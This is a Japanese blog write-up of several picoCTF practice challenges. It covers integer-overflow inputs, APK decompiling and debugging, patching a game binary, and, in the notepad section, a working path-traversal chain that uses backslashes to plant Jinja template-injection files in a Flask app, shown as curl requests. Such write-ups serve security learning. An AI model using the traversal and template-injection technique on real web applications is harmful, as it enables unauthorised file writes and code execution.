picoCTF よりpicoGym Practice ChallengesのWriteUp その5。
前記事が一定のボリュームに達したので、新記事を設けることにした。
解けた問題から順次WriteUpを追加していく予定。
過去のWriteUp記事の一覧はこちら。
droids3とdroids4に取り組もうとしたのだが、システムを諸々アップデートしたところ、Android Studioのエミュレータが正常に起動しなくなってしまった。。。色々試してみたが直らないので、ひとまずdroids3とdroids4は放置。
- repetitions (100points)
- chrono (100points)
- flag_shop (300points)
- useless (100points)
- two-sum (100points)
- droids0 (300points)
- droids1 (350points)
- droids2 (400points)
- Wizardlike (500points)
- notepad (250points)
- Most Cookies (150points)
- Super Serial (130points)
- JaWT Scratchpad (400points)
- 1_wanna_b3_a_r0ck5tar (350points)
- Investigative Reversing 0 (300points)
- Investigative Reversing 1 (350points)
- Investigative Reversing 2 (350points)
- Investigative Reversing 3 (400points)
- Investigative Reversing 4 (400points)
- B1g_Mac (500points)
- Mr-Worldwide (200points)
- HideToSee (100points)
- SQLiLite (300points)
- More SQLi (200points)
- Web Gauntlet (200points)
- Web Gauntlet 2 (170points)
- Web Gauntlet 3 (300points)
- Forky (500points)
- john_pollard (500points)
- shark on wire 2 (300points)
- Very very very Hidden (300points)
repetitions (100points)
ファイルenc_flag
を解析してフラグを取得する問題。
ファイルを何度かBase64デコードしたところ、フラグを取れた。
chrono (100points)
サーバーに接続してフラグを取得する問題。
問題文にて、linuxサーバーで定期的に処理を実行するにはどうすればいいか?と聞かれたので、/etc/crontab
を覗いてみたところ、フラグを取れた。
$ ssh -p 52665 picoplayer@saturn.picoctf.net
$ cd /etc/
$ cat crontab
# picoCTF{Sch3DUL7NG_T45K3_L1NUX_<REDACTED>}
flag_shop (300points)
遠隔のサーバーで実行されているプログラムを解析してフラグを取得する問題。
$ nc jupiter.challenges.picoctf.org 4906
Welcome to the flag exchange
We sell flags
1. Check Account Balance
2. Buy Flags
3. Exit
Enter a menu selection
以下は上記のプログラムのソースコードstore.c
である。
#include <stdio.h>
#include <stdlib.h>
int main()
{
setbuf(stdout, NULL);
int con;
con = 0;
int account_balance = 1100;
while(con == 0){
printf("Welcome to the flag exchange\n");
printf("We sell flags\n");
printf("\n1. Check Account Balance\n");
printf("\n2. Buy Flags\n");
printf("\n3. Exit\n");
int menu;
printf("\n Enter a menu selection\n");
fflush(stdin);
scanf("%d", &menu);
if(menu == 1){
printf("\n\n\n Balance: %d \n\n\n", account_balance);
}
else if(menu == 2){
printf("Currently for sale\n");
printf("1. Defintely not the flag Flag\n");
printf("2. 1337 Flag\n");
int auction_choice;
fflush(stdin);
scanf("%d", &auction_choice);
if(auction_choice == 1){
printf("These knockoff Flags cost 900 each, enter desired quantity\n");
int number_flags = 0;
fflush(stdin);
scanf("%d", &number_flags);
if(number_flags > 0){
int total_cost = 0;
total_cost = 900*number_flags;
printf("\nThe final cost is: %d\n", total_cost);
if(total_cost <= account_balance){
account_balance = account_balance - total_cost;
printf("\nYour current balance after transaction: %d\n\n", account_balance);
}
else{
printf("Not enough funds to complete purchase\n");
}
}
}
else if(auction_choice == 2){
printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
printf("Enter 1 to buy one");
int bid = 0;
fflush(stdin);
scanf("%d", &bid);
if(bid == 1){
if(account_balance > 100000){
FILE *f = fopen("flag.txt", "r");
if(f == NULL){
printf("flag not found: please run this on the server\n");
exit(0);
}
char buf[64];
fgets(buf, 63, f);
printf("YOUR FLAG IS: %s\n", buf);
}
else{
printf("\nNot enough funds for transaction\n\n\n");
}}
}
}
else{
con = 1;
}
}
return 0;
}
最初のメニューで2
(Buy Flags
) を選択し、次のメニューで再び2
(1337 Flag
) を選択してフラグを購入するとflag.txt
からフラグが読み出される。
フラグを購入するには所持金が100000
を超えている必要があるが、所持金の初期値は1100
である。
if(account_balance > 100000){
FILE *f = fopen("flag.txt", "r");
int account_balance = 1100;
フラグを購入するにはどうにかして所持金が定義されているaccount_balance
の値を増やす必要がある。
account_balance
の値を操作するには最初のメニューで2
(Buy Flags
) を選択し、次のメニューで1
(Defintely not the flag Flag
) 選択する。
すると1個900
のknockoffフラグを購入することができる。
if(auction_choice == 1){
printf("These knockoff Flags cost 900 each, enter desired quantity\n");
int number_flags = 0;
fflush(stdin);
scanf("%d", &number_flags);
if(number_flags > 0){
int total_cost = 0;
total_cost = 900*number_flags;
printf("\nThe final cost is: %d\n", total_cost);
if(total_cost <= account_balance){
account_balance = account_balance - total_cost;
printf("\nYour current balance after transaction: %d\n\n", account_balance);
}
else{
printf("Not enough funds to complete purchase\n");
knockoffフラグを購入する際に個数 (number_flags
)を指定すると合計金額がtotal_cost
に代入される (total_cost = 900*number_flags;
)。
最後にaccount_balance
からtotal_cost
が引かれて、account_balance
の値が更新される (account_balance = account_balance - total_cost;
)。
number_flags
に負の値を代入すればtotal_cost
が負の値となり、account_balance
の値を増やすことが出来るのでは?と思いついた。
account_balance - (-total_cost) → account_balance + total_cost
>>> account_balance = 1100
>>> number_flags = -1000
>>> total_cost = 900*number_flags
>>> account_balance = account_balance - total_cost
>>> account_balance
901100
knockoffフラグを購入する際に個数として-1000
や0-1000
と指定してみたがaccount_balance
の値は更新されなかった。
ヒントを見てみた。
Two's compliment can do some weird things when numbers get really big!
ヒントに従い、knockoffフラグを購入する際に100000000
と指定してみたところ、account_balance
の値が加算されてフラグを購入することが出来た。
$ nc jupiter.challenges.picoctf.org 4906
Welcome to the flag exchange
We sell flags
1. Check Account Balance
2. Buy Flags
3. Exit
Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
1
These knockoff Flags cost 900 each, enter desired quantity
100000000
The final cost is: -194313216
Your current balance after transaction: 194314316
Welcome to the flag exchange
We sell flags
1. Check Account Balance
2. Buy Flags
3. Exit
Enter a menu selection
1
Balance: 194314316
Welcome to the flag exchange
We sell flags
1. Check Account Balance
2. Buy Flags
3. Exit
Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
2
1337 flags cost 100000 dollars, and we only have 1 in stock
Enter 1 to buy one1
YOUR FLAG IS: picoCTF{m0n3y_bag5_<REDACTED>}
useless (100points)
遠隔のサーバーにホストされているuseless
というbashスクリプトを解析してフラグを取得する問題。
以下はuseless
のソースコード。
picoplayer@challenge:~$ cat useless
#!/bin/bash
# Basic mathematical operations via command-line arguments
if [ $# != 3 ]
then
echo "Read the code first"
else
if [[ "$1" == "add" ]]
then
sum=$(( $2 + $3 ))
echo "The Sum is: $sum"
elif [[ "$1" == "sub" ]]
then
sub=$(( $2 - $3 ))
echo "The Substract is: $sub"
elif [[ "$1" == "div" ]]
then
div=$(( $2 / $3 ))
echo "The quotient is: $div"
elif [[ "$1" == "mul" ]]
then
mul=$(( $2 * $3 ))
echo "The product is: $mul"
else
echo "Read the manual"
fi
fi
"Read the manual"
という1文が目についたのでuseless
のmanファイルを見たところ、フラグを取れた。
picoplayer@challenge:~$ man useless
useless
useless, — This is a simple calculator script
SYNOPSIS
useless, [add sub mul div] number1 number2
DESCRIPTION
Use the useless, macro to make simple calulations like addition,subtraction, multiplication and division.
Examples
./useless add 1 2
This will add 1 and 2 and return 3
./useless mul 2 3
This will return 6 as a product of 2 and 3
./useless div 6 3
This will return 2 as a quotient of 6 and 3
./useless sub 6 5
This will return 1 as a remainder of substraction of 5 from 6
Authors
This script was designed and developed by Cylab Africa
picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_<REDACTED>}
two-sum (100points)
遠隔のサーバーで実行されているプログラムの脆弱性を突いてフラグを取得する問題。
以下はソースコードflag.c
の内容。
#include <stdio.h>
#include <stdlib.h>
static int addIntOvf(int result, int a, int b) {
result = a + b;
if(a > 0 && b > 0 && result < 0)
return -1;
if(a < 0 && b < 0 && result > 0)
return -1;
return 0;
}
int main() {
int num1, num2, sum;
FILE *flag;
char c;
printf("n1 > n1 + n2 OR n2 > n1 + n2 \n");
fflush(stdout);
printf("What two positive numbers can make this possible: \n");
fflush(stdout);
if (scanf("%d", &num1) && scanf("%d", &num2)) {
printf("You entered %d and %d\n", num1, num2);
fflush(stdout);
sum = num1 + num2;
if (addIntOvf(sum, num1, num2) == 0) {
printf("No overflow\n");
fflush(stdout);
exit(0);
} else if (addIntOvf(sum, num1, num2) == -1) {
printf("You have an integer overflow\n");
fflush(stdout);
}
if (num1 > 0 || num2 > 0) {
flag = fopen("flag.txt","r");
if(flag == NULL){
printf("flag not found: please run this on the server\n");
fflush(stdout);
exit(0);
}
char buf[60];
fgets(buf, 59, flag);
printf("YOUR FLAG IS: %s\n", buf);
fflush(stdout);
exit(0);
}
}
return 0;
}
以下の条件を満たす2つの正の整数をプログラムに入力せよとのこと。
n1 > n1 + n2 OR n2 > n1 + n2
どうやらInteger Overflowを起こせばフラグを取れるらしい。Integer Overflowについて軽くググってみた。
Integer Overflowとはint型の変数に保持できる最大値を超えた値を変数に格納しようとしたときに発生する。極端に大きな正の整数を格納しようとすると、符号が反転して、結果が負の整数になったり、あるいは極端に小さな負の整数を格納しようとすると、符号が反転して、結果が正の整数になったりしてしまうらしい。
大抵のプログラミング言語では32ビットのプログラムが格納できる符号付整数の範囲は−2,147,483,648
から 2,147,483,647
までとのこと。
以上を踏まえて、プログラムの入力値として2147483647
と1
を指定したところ、プログラムがInteger Overflowを起こし、フラグを取れた。
$ nc saturn.picoctf.net 54594
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
2147483647
1
You entered 2147483647 and 1
You have an integer overflow
YOUR FLAG IS: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_<REDACTED>}
droids0 (300points)
APKファイルzero.apk
を解析してフラグを取得する問題。
APKファイルをJARファイルに変換し、JD-GUIでソースコードを眺めてみたがフラグは見つからなかった。
ヒントを見てみた。
Try using an emulator or device
ヒントに従い、Android Studioをインストールし、APKファイルを実行してみた。
※Android StudioにAPKファイルをロードするにはMore Actions → Profile or Debug APKを選択する。
Logcatでログを眺めてみたところ、フラグを発見した。
droids1 (350points)
APKファイルone.apk
を解析してフラグを取得する問題。
どうやらアプリを起動して正しいパスワードを入力するとフラグが現れる模様。
Android StudioでAPKファイルを実行し、Logcatでログを眺めてみたがパスワードに関する情報は見つからなかった。
アプリをデバッグモードで起動し、適当な箇所にブレークポイントをセットしてメモリの中身を見ればパスワードを取れるのでは?と思い、試してみることにしたのだが、Android Studio上でソースコードをクリックしてもブレークポイントをセットできなかった。
しばらくして、以下のエラーメッセージに気づいた。
Disassembled classes.dex file. To set up breakpoints for debugging, please attach Kotlin/Java source files
どうやらブレークポイントをセットするにはJavaのソースコードを読み込ませる必要がある模様。
jadxを使ってAPKファイルからJavaのソースコードを取得した。
C:\Users\analyst\Downloads\jadx-1.4.7\bin\jadx.bat -d java_source one.apk
続いてJavaのソースコードが配置されているディレクトリをAndroid Studioに読み込ませた。詳しい手順はこちらを参照。
これでブレークポイントをセットできるようになった。
getFlag()
にブレークポイントをセットしてステップオーバー実行したところ、password
という変数にopossum
という文字列が格納されているのが確認できた。
パスワードとしてopossum
と入力したところ、フラグを取れた。
droids2 (400points)
APKファイルtwo.apk
を解析してフラグを取得する問題。
どうやらアプリを起動して正しいパスワードを入力するとフラグが現れる模様。
まずはjadxを使ってAPKファイルからJavaのソースコードを取得した。
C:\Users\analyst\Downloads\jadx-1.4.7\bin\jadx.bat -d java_source two.apk
続いて取得したJavaのソースコードをAndroid Studioに読み込ませた。
getFlag()
にブレークポイントをセットしてステップオーバー実行したところ、dismass.ogg.weatherwax.aching.nitt.garlick
というパスワードを確認できた。
パスワードとしてdismass.ogg.weatherwax.aching.nitt.garlick
と入力したところ、フラグを取れた。
Wizardlike (500points)
64ビットのELFファイルgame
を解析してフラグを取得する問題。
checksecで確認したところ、PIEは有効化されていなかった。
$ sudo checksec.sh --file=game
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE N/A N/A No Symbols No 0 0 game
game
はゲーム・プログラムである。プレーヤーはコマンドを入力してダンジョンを移動し、隠されたフラグを探し出さなければならない。
以下は実際のゲーム画面である。
###
#.@.....#
#.......#
#........
#.......# .#
.......# #
.......#
.......#
.......#
.......#
.......#
.......#
.......#
.......
......>
#######
プレーヤーは以下のコマンドを入力してダンジョン内を移動する。(プレーヤーの現在位置は@
で表されている。)
a
: 左へ移動d
: 右へ移動w
: 上へ移動s
: 下へ移動Q
: ゲームを終了する
#
は壁を表し、.
は床を表している。
プレーヤーは壁を通り抜けることはできない。また床が続いていない道は通ることが出来ない。
>
は下の階への階段を表している。>
に到達すると次の階へと進むことが出来る。
<
は上の階への階段を表している。<
に到達すると前の階へ戻ることが出来る。
IDAでファイルを眺めたところ、どうやらダンジョンには合計で10階層が存在する模様。
しかし、普通にプレーすると、最初の数階層はクリアすることができるのだが、次第に壁に阻まれたり、床が続いていなかったりして、次の階へ進むことが出来なくなる。
なら、プログラムをパッチして常に現在位置を>
(下の階への階段)に合わせれば、10階層すべて回ることができるのでは?と思いついた。
.text:0000000000402B6A 0F B6 00 movzx eax, byte ptr [rax]
.text:0000000000402B6D 88 45 D7 mov [rbp+var_29], al
.text:0000000000402B70 80 7D D7 3E cmp [rbp+var_29], 3Eh ; '>'
.text:0000000000402B74 75 11 jnz short loc_402B87
上記の命令コードはプレーヤーの現在位置が>
と一致しているか確認し、一致した場合はプレーヤーを次の階へと進ませる。上記の命令コードを書き換えれば、常に次の階へと進むことが出来そうである。
以下は上記の命令コードを書き換えたものである。
.text:0000000000402B6A 0F B6 00 movzx eax, byte ptr [rax]
.text:0000000000402B6D 88 45 D7 mov [rbp+var_29], al
.text:0000000000402B70 80 7D D7 3E cmp [rbp+var_29], 3Eh ; '>'
.text:0000000000402B74 74 11 jz short loc_402B87
ジャンプ命令のjnz
をjz
に書き換えることで現在位置が>
と一致しなくても、次の階へと進むことが出来るようになった。(ちなみにパッチ作業はIDAで行った。)
しかし、予想に反して、10階層すべてを回ってもフラグは出現しなかった。
以下は10階層目のダンジョン画面である。フラグらしきものは見当たらない。
<...................................................................................................
.@..............................................................................................#
###
どかに隠し階層があるのでは?と思い、調べてみたが見つからなかった。
このあたりで行き詰ったので、公式のヒントを見てみた。
以下、ヒント。
Different tools are better at different things. Ghidra is awesome at static analysis, but radare2 is amazing at debugging.
With the right focus and preparation, you can teleport to anywhere on the map.
入力をいじって任意の場所に移動するというアプローチは間違ってなさそうである。
しかし、その後も解析を続けても一向に進展しないので、とうとう他所のwrite up をチラ見してしまった。
どうやら、プログラムをパッチして、壁・床に関係なくダンジョン内を移動できるようになればフラグを取れるらしい。
解析したところ、壁・床を無視して移動するには以下の命令コードを書き換えればいいことが分かった。
上記の命令コードは現在位置が#
(壁) または空白 (つまり床が無い)と一致するか確認し、一致した場合は戻り値としてeaxに0を格納する。
なので、戻り値としてeaxに1を格納すれば壁や床を無視してダンジョン内を移動できるようになる。
以下はパッチ前のコード。
.text:0000000000402232 loc_402232:
.text:0000000000402232 B8 00 00 00 00 mov eax, 0
.text:0000000000402237 EB 0C jmp short loc_402245
以下はパッチ後のコード。
.text:0000000000402232 loc_402232:
.text:0000000000402232 B8 01 00 00 00 mov eax, 1
.text:0000000000402237 EB 0C jmp short loc_402245
上記のパッチ適用後、壁や床を無視してダンジョン内を移動できるようになり、フラグを取ることが出来た。
#########
#.......# ......#...................................
#.......# ....................####.#####.#####..###.
#........ .####.#..###..###..#.......#...# .....#...
#.......# .# #.#.#....# #.#.......#...###...#....
#.......# .####.#.#....# #.#.......#...#......#...
#.......# .#....#..###..###...####...#...#......###.
#.......# .#........................................ @
#.......# ..........................................
#.......#
#.......#
#.......#
#.......#
#.......#
#......>#
#########
#####. .............................................................
#.<.#. ...............#..#.............##.......#..#........#.......
#...#. .#..#.###......#..#.......#...#..#.####..#..#.###....#.......
#...#. .#..#.#........####.......#.#.#..#...#...####.#...####.......
#...#. .####.#...####....#.#####..#.#..###.####....#.#...####.#####.
. .............................................................
. .............................................................
. .............................................................
#....
#...#
#...#
#...#
#...#
#...#
#.>.#
#####
################# .......
#<..............#. .#...#.
#...............#.. .#...#.
#..............#.....#####.
#...#.......#...#.. .....#.
#..###.....###..#. .....#.
#...#...#...#...# .......
#......#>#......# .......
#...............#
#...#.......#...#
#..###.....###..#
#...#.......#...#
#...............#
#...............#
#.........@.....#
#################
... .. .......
.<. ####. ..###..
... ...#.. .#...#.
... ...#.....###..
@ ..>#.. .#...#.
####. ..###..
.. .......
.......
########################
#<.............#.......#
#..............#.#...#.#
#..............#.#...#.#
#..............#.#####.#
#..............#.....#.#
#..............#.....#.#
#..............#.......#
#..............#.......#
########################
@
################
#..............#
#..............#
#..............#
#..............#
#..............#
#..............#
#..............#
#.............>#
################
.......
.<.....
.......
.......
.......
.......
.......
.......
.......
.......
.......
.....>.
.......
#######
.......
.#...#.
.#...#.
.#####.
.....#.
.....#.
.......
.@.....
...
.<.........
...........
... ..
..
..
..
..
..
..
..............
..##########..
.# #.
.# ....... #.
.# ..###.. #.
.# .#. .#. #.
.# .#####. #.
.# .#...#. #.
.# .#...#. #.
.# ....... #.
.# ....... #.
@.# #.
..##########..
.............>
# ###################### @
#<#......#.#.......###..#
#.#.###..#.#.......##..##
#.#.#.#..#.#.......#..###
#.#.#.#..#.#.......#...##
#...#....#..#......#....#
#.######.##..###.###....#
#.#.....................#
#.### #################.#
#.......................#
########.###.#########.#
#.......#.#.#.#.........#
#.####..#.#...#.#########
#.#...#.#.#.#.#.........#
#.#...#.#.#.#.######### #
#.#...#.#.#.#.#.........#
#.####..#.#.#.#.#########
#.......#.#.#.#.........#
#.......#.#.#.#########.#
#########.#.#.#...#...#.#
#...........#.#.#.#.#.#.#
#########...#.#.#.#.#.#.#
#.......#...#.#.#.#.#.#.#
####.####...#. . . .#.#.#
##..........#.#.#.#.#.#.#
#.#..####...#.#.#.#.#.#.#
#..#....#####.#.#.#.#.#.#
#...#...#...#.#.#...#...#
#....#........#.#########
#...........#.#........>#
################### .
... .......
.<. ...#...
... ..#....
... .####..
.#...#.
..###..
.......
.......
################ ##
###################
####..............#
####.#####.###....#
####.#.......#....#
####.###......#...#
####.#.......#....#
####.#.....###....#
#..............#
#..............#
###################
##
notepad (250points)
Webアプリケーション・プログラムhttps://notepad.mars.picoctf.net/
を解析してフラグを取得する問題。
https://notepad.mars.picoctf.net/
はノート作成のアプリケーションである。
フォームにデータを入力してSubmitボタンを押すとstatic/
ディレクトリ以下にノートが作成される。
この問題ではアプリケーションのソースコード等が含まれたnotepad.tar
が渡される。
以下はnotepad.tar
に含まれているファイルである。
Dockerfile
app.py
templates/index.html
templates/errors/bad_content.html
templates/errors/long_content.html
以下はDockerfile
の内容である。
FROM python:3.9.2-slim-buster
RUN pip install flask gunicorn --no-cache-dir
WORKDIR /app
COPY app.py flag.txt ./
COPY templates templates
RUN mkdir /app/static && \
chmod -R 775 . && \
chmod 1773 static templates/errors && \
mv flag.txt flag-$(cat /proc/sys/kernel/random/uuid).txt
CMD ["gunicorn", "-w16", "-t5", "--graceful-timeout", "0", "-unobody", "-gnogroup", "-b0.0.0.0", "app:app"]
上記より以下の内容が読み取れる。
- flaskを使用している。
app.py
と同じディレクトリ内にflag-<ランダムなUUID>.txt
というファイルが存在する。恐らくこのファイルにフラグが記載されている。
以下はapp.py
の内容である。
from werkzeug.urls import url_fix
from secrets import token_urlsafe
from flask import Flask, request, render_template, redirect, url_for
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html", error=request.args.get("error"))
@app.route("/new", methods=["POST"])
def create():
content = request.form.get("content", "")
if "_" in content or "/" in content:
return redirect(url_for("index", error="bad_content"))
if len(content) > 512:
return redirect(url_for("index", error="long_content", len=len(content)))
name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
with open(name, "w") as f:
f.write(content)
return redirect(name)
上記より以下の内容が読み取れる。
- テンプレートとして
index.html
を読み込む。 - フォームに入力された内容を
/new
にPOSTしてノートを作成する。 - 入力されたデータの中にアンダースコア(
_
)やスラッシュ (/
)が含まれていた場合、エラーとみなされ、bad_content.html
に誘導される。 - 入力されたデータのサイズが512バイトを超えた場合、エラーとみなされ、
long_content.html
に誘導される。 - ノートのファイル名は
[入力されたデータの先頭128バイト].[-].[ランダムなトークン]
の形式を取る。
以下はtemplates/index.html
の内容である。
<!doctype html>
{% if error is not none %}
<h3>
error: {{ error }}
</h3>
{% include "errors/" + error + ".html" ignore missing %}
{% endif %}
<h2>make a new note</h2>
<form action="/new" method="POST">
<textarea name="content"></textarea>
<input type="submit">
</form>
上記より以下の内容が読み取れる。
error
というパラメータにファイル名が付与されていた場合 (例:/?error=<filename>
)、templates/errors/
ディレクトリからファイルを読み込む。ファイルの中にJinjaの構文が含まれていた場合、それを評価・実行する。
以下はtemplates/errors/bad_content.html
の内容である。入力されたデータの中にアンダースコア(_
)やスラッシュ (/
)が含まれていた場合、このファイルに誘導される。(例:/?error=bad_content
)
the note contained invalid characters
以下はtemplates/errors/long_content.html
の内容である。入力されたデータのサイズが512バイトを超えた場合、このファイルに誘導される。(例:/?error=long_content
)
your note (length {{ request.args.get("len") }}) was larger than the maximum (512)
ノートの内容にJinja構文を混入させてflag-<ランダムなUUID>.txt
の中身を読み出せれば、フラグを取れると思われる。
以下の2通りの方法を思いついた。
- 方法その1:
static/
ディレクトリにJinja構文を混入させたノートを作成し、ディレクトリをトラバースして読み込ませる。(例:/?error=../../static/<my file>
) - 方法その2: 何らかの方法でJinja構文を混入させたノートを
static/
ではなく、templates/errors/
ディレクトリに作成し、読み込ませる。(例:/?error=<my file>
)
ローカルマシンにflaskをインストールし、それぞれの方法を検証してみた。
pip3 install flask
でflaskをインストールflask run
でflaskを起動http://127.0.0.1:5000/
でアプリケーションにアクセス
まず、結論から言うと、方法その1は駄目だった。/
がフィルターされているので..%2f..%2f
、%2e%2e%2f%2e%2e%2f
、%252e%252e%252f%2e%2e%2f
とURLエンコードを施してトラバーサルを試みたのだが、templates/errors/
からディレクトリを遡ることが出来なかった。
続いて、方法その2を検証してみた。
方法その2ではtemplates/errors/
にファイルを作成する必要がある。
app.py
を眺めてみた。
name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
with open(name, "w") as f:
f.write(content)
return redirect(name)
上記によるとユーザーの入力したデータの先頭128バイトがファイル名に付与され、open()
でファイルが書き込まれる。
Pythonのopen()
は対象のファイル名を相対パスで指定することが出来るので、ファイル名に../templates/errors/
を含めることが出来れば、本来の書き込み先のstatic/
からトラバースして/templates/errors/
にファイルを作成することが出来る。
しかし、/
がフィルターされているので、どうにかこのフィルターを回避する必要がある。
手掛かりを求めてurl_fixのソースコードを眺めてみた。
def url_fix(s, charset='utf-8'):
r"""Sometimes you get an URL by a user that just isn't a real URL because
it contains unsafe characters like ' ' and so on. This function can fix
some of the problems in a similar way browsers handle data entered by the
user:
>>> url_fix(u'http://de.wikipedia.org/wiki/Elf (Begriffskl\xe4rung)')
'http://de.wikipedia.org/wiki/Elf%20(Begriffskl%C3%A4rung)'
:param s: the string with the URL to fix.
:param charset: The target charset for the URL if the url was given as
unicode string.
"""
# First step is to switch to unicode processing and to convert
# backslashes (which are invalid in URLs anyways) to slashes. This is
# consistent with what Chrome does.
s = to_unicode(s, charset, 'replace').replace('\\', '/')
# For the specific case that we look like a malformed windows URL
# we want to fix this up manually:
if s.startswith('file://') and s[7:8].isalpha() and s[8:10] in (':/', '|/'):
s = 'file:///' + s[7:]
url = url_parse(s)
path = url_quote(url.path, charset, safe='/%+$!*\'(),')
qs = url_quote_plus(url.query, charset, safe=':&%=+$!*\'(),')
anchor = url_quote_plus(url.fragment, charset, safe=':&%=+$!*\'(),')
return to_native(url_unparse((url.scheme, url.encode_netloc(),
path, qs, anchor)))
上記のソースコードを眺めたところ、以下の一文が目についた。
s = to_unicode(s, charset, 'replace').replace('\\', '/')
どうやら、URLの中に\
(バックスラッシュ)が含まれていた場合、/
に置き換えるようである。
この性質を利用すれば、ディレクトリ・トラバーサルで任意のディレクトリにファイルを作成できそうである。
試しにノートの内容に..\templates\errors\hoge
と指定してみた。
$ curl -i http://127.0.0.1:5000/new -d "content=..\templates\errors\hoge"
HTTP/1.1 302 FOUND
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 05:22:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 283
Location: static/../templates/errors/hoge-Q9ZVI8XA7vQ.html
Connection: close
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="static/../templates/errors/hoge-Q9ZVI8XA7vQ.html">static/../templates/errors/hoge-Q9ZVI8XA7vQ.html</a>. If not, click the link.
/templates/errors/
にhoge-Q9ZVI8XA7vQ.html
というファイルが作成されたっぽい。
作成されたファイルにアクセスしてみた。(http://127.0.0.1:5000/?error=hoge-Q9ZVI8XA7vQ
)
$ curl -i http://127.0.0.1:5000/?error=hoge-Q9ZVI8XA7vQ
HTTP/1.1 200 OK
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 05:26:31 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 218
Connection: close
<!doctype html>
<h3>
error: hoge-Q9ZVI8XA7vQ
</h3>
..\templates\errors\hoge
<h2>make a new note</h2>
<form action="/new" method="POST">
<textarea name="content"></textarea>
<input type="submit">
</form>
作成されたhoge-Q9ZVI8XA7vQ.html
にアクセスすることが出来た。
これで/templates/errors/
に書き込めるようになった。次はJinja構文を実行させる方法の検証である。
色々検証した結果、/templates/errors/
にJinja構文入りのファイルを作成するには以下の内容をノートに入力すれば良いことが判明した。
..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<Jinja payload>
上記のペイロードの解説を以下に記す。
..\templates\errors\
: フィルターを回避して/templates/errors/
にファイルを作成する。aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
: データの先頭128バイト以内にJinja構文の{}
や%
が含まれているとファイル名がURLエンコードされてしまう。ファイル名にURLエンコードされた文字列が含まれていると、ファイルの中のJinja構文を実行することができなかった。なのでデータの先頭128バイトを無意味な文字で埋め尽くし、{}
や%
がファイル名に含まれないようにする。<Jinja payload>
: ここに実行したいJinja構文を指定する。
以下、ペイロードの検証。
- 実行したいJinja構文:
{{10*10}}
- ペイロード:
..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{10*10}}
curl -i http://127.0.0.1:5000/new --data-urlencode "content=..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{10*10}}"
HTTP/1.1 302 FOUND
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 05:53:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 491
Location: static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-iGJZ8uCBlhQ.html
Connection: close
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-iGJZ8uCBlhQ.html">static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-iGJZ8uCBlhQ.html</a>. If not, click the link.
/templates/errors/
にaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-iGJZ8uCBlhQ.html
が作成された。
作成されたファイルにアクセスしてみた。
$ curl -i http://127.0.0.1:5000/?error=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-iGJZ8uCBlhQ
HTTP/1.1 200 OK
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 05:54:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 449
Connection: close
<!doctype html>
<h3>
error: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-iGJZ8uCBlhQ
</h3>
